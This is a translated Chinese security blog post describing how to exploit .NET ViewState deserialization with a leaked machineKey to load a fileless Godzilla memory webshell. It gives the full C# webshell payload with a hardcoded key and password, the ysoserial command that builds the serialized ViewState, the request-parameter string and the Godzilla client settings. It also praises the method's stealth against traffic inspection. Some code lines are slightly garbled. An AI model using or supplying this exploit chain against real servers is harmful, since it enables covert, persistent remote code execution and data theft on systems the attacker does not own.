

.Net ViewState deserialization for a fileless Godzilla memory shell

.Net ViewState - Author not stated, blog.wanghw.cn.

- Title in English: .Net ViewState deserialization for a fileless Godzilla memory shell
- Published: date not stated
- Original: <https://blog.wanghw.cn/security/dotnet-viewstate-no-file-godzilla-memshell.html>
- Preserved from: <https://blog.wanghw.cn/security/dotnet-viewstate-no-file-godzilla-memshell.html> (preserved-copy) on 2026-08-04
- Licence: unknown

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Content (English translation)

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Basics

- You need to obtain the hardcoded machineKey, which is usually stored in the web.config file in the root directory.
- It is more commonly seen in websites developed with traditional ASP.net MVC that use multi-node load balanced deployment, because the machineKey is generated dynamically by default, and in a load balanced environment the same machineKey must be fixed for the nodes to recognize the VIEWSTATE data in pages generated by the other nodes.
- The machineKey in general-purpose systems is usually not changed.

Foreword

The usual way of exploiting ViewState deserialization is to find the website path and then write an aspx\ashx\asmx shell through echo or similar, achieving getshell. What this article is going to introduce is a rather special way of exploiting it: you only need to carry the ViewState serialized data containing the WebShell logic in the request packet, and without

producing a new file, and without writing to any website file, the WebShell logic is achieved.

Locating the page

To use ViewState deserialization, you need to find a page that uses the ViewState feature. That page will serve as the connection address of the WebShell, and it is best if it is a page that can be accessed without authorization, the most common one being the login page. Taking a certain CMS system as an example, through a file read vulnerability I obtained the web.config file, and found the following file.

```
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="success.aspx.cs"
Inherits="member_success" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <div>
            <asp:Literal ID="ltUserName" runat="server"></asp:Literal>
        </div>
    </form>
</body>
</html>
```

This page is very simple and can serve as a perfect example of the characteristics. The key point in it is `<form id="form1" runat="server">`, in which `runat="server"` is indispensable. This attribute marks that this form will support the advanced components of ASP.net MVC, that the state will be handled and saved by the server side, and that additional parsing operations will be performed.

The next step is to extract the `VIEWSTATEGENERATOR` from the page, which can usually be obtained just by visiting the page.

```

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

</title></head>
<body>
    <form method="post" action="./success.aspx" id="form1">
<div class="aspNetHidden">
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
value="/wEPDwUIOTEyNDUzNDYPZBYCAgMPZBYCAgEPFgIeBFRleHQFJ+mqj0ivgeWksei0pe+8geeUq0aIt++8mu
0Ak00AkeS4jeWtm0WcqGRkxr5FwhfEZkCmaPJLiXPKeRsu1N0=">
</div>

<div class="aspNetHidden">

<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR"
value="60AF4XXX">
</div>
    <div>
        □□□□□□□□□□□□
    </div>
</form>
</body>
</html>

```

You can see that the `VIEWSTATEGENERATOR` of this page is `60AF4XXX`. The next step is to generate the Payload.

Building the Payload

The construction method mentioned in [the devco article]() is to build a simple command execution shell with output echoed back and then use the `ActivitySurrogateSelectorFromFile` chain of `yso.net` to generate the payload. But since arbitrary code can already be executed, building a memory shell is equally possible.

Starting from .NET 4.8, type checking is enabled by default. If a type conversion error appears, the `ActivitySurrogateDisableTypeCheck` chain must be used to Patch and bypass it, and only after the bypass can the Payload mentioned below be used normally.

By writing dedicated code for Godzilla, generating the serialized data and carrying it in the request packet, a Godzilla memory shell with no physical file and no memory trace can be achieved.

The payload code of the Godzilla memory shell:

```

class d
{
    public d()
    {
        System.Web.HttpContext Context = System.Web.HttpContext.Current;
        Context.Server.ClearError();
        Context.Response.Clear();
        try
        {
            string key = "3c6e0b8a9c15224a";
            string pass = "pas";
            string md5 = System.BitConverter.ToString(new
System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.
Default.GetBytes(pass + key))).Replace("-", "");
            byte[] data = System.Convert.FromBase64String(Context.Request[pass]);
            data = new
System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default
lt.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data,
0, data.Length);
            if (Context.Session["payload"] == null)
            {
                Context.Session["payload"] =
(System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new
System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });
            }
            else
            {
                System.IO.MemoryStream outStream = new System.IO.MemoryStream();
                object o =
((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY");
                o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString();
                byte[] r = outStream.ToArray();
                Context.Response.Write(md5.Substring(0, 16));
                Context.Response.Write(System.Convert.ToBase64String(new
System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default
lt.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0,
r.Length))); Context.Response.Write(md5.Substring(16));
            }
        }
        catch (System.Exception) { }
        Context.Response.Flush();
        Context.Response.End();
    }
}

```

```
}  
}
```

Save that file locally, then use the following command to generate the payload.

```
ysoserial.exe -g ActivitySurrogateSelectorFromFile -p ViewState --deceptionalg="3DES" -  
c="123" --decryptionkey="XXXXXXXXXXXXXXXXXXXXXXXXXXXX" --validationalg="SHA1" --  
validationkey="BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" --generator=60AF4XXX -c  
"CHANGEME.cs;System.Web.dll;System.dll"
```

Concatenate using the output payload. **Note that the & at the end must not be omitted**

```
__VIEWSTATE=<ysoserial.exe -g ActivitySurrogateSelectorFromFile -p ViewState --deceptionalg="3DES" -  
c="123" --decryptionkey="XXXXXXXXXXXXXXXXXXXXXXXXXXXX" --validationalg="SHA1" --  
validationkey="BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" --generator=60AF4XXX -c  
"CHANGEME.cs;System.Web.dll;System.dll">&__VIEWSTATEGENERATOR=60AF4XXX&
```

Fill it into the "data appended on the left" field of Godzilla's request configuration.

Shell Setting

基础配置

请求配置

URL

密码

密钥

连接超时

读取超时

代理主机

代理端口

备注

GROUP

代理类型

编码

有效载荷

加密器

pas

key

3000

NO_PROXY

GBK

CShapDynamicPayload

CSHAP_AES_BASE64

修改

测试连接

提示

i

Success!

确定

Done!

Summary

The stealthy WebShell achieved this way can provide a covert channel that is used and then gone. Pages using ViewState usually also carry a huge `__VIEWSTATE` parameter in POST requests, so from the traffic point of view it is stealthy enough. Also, nothing in the server context is modified at any point, and it does not disappear after a period without access the way a .Net memory shell does, so the impact on server stability is minimal as well. Personally I think it is the best method among the current ViewState deserialization exploitation approaches.

But the drawback is equally obvious: every request has to carry more than ten KB of ViewState parameter, which is clearly not economical on traffic. Perhaps there is still room for optimization? 😊

References

- [Playing with ASP.NET VIEWSTATE deserialization attacks and building a fileless backdoor](#)

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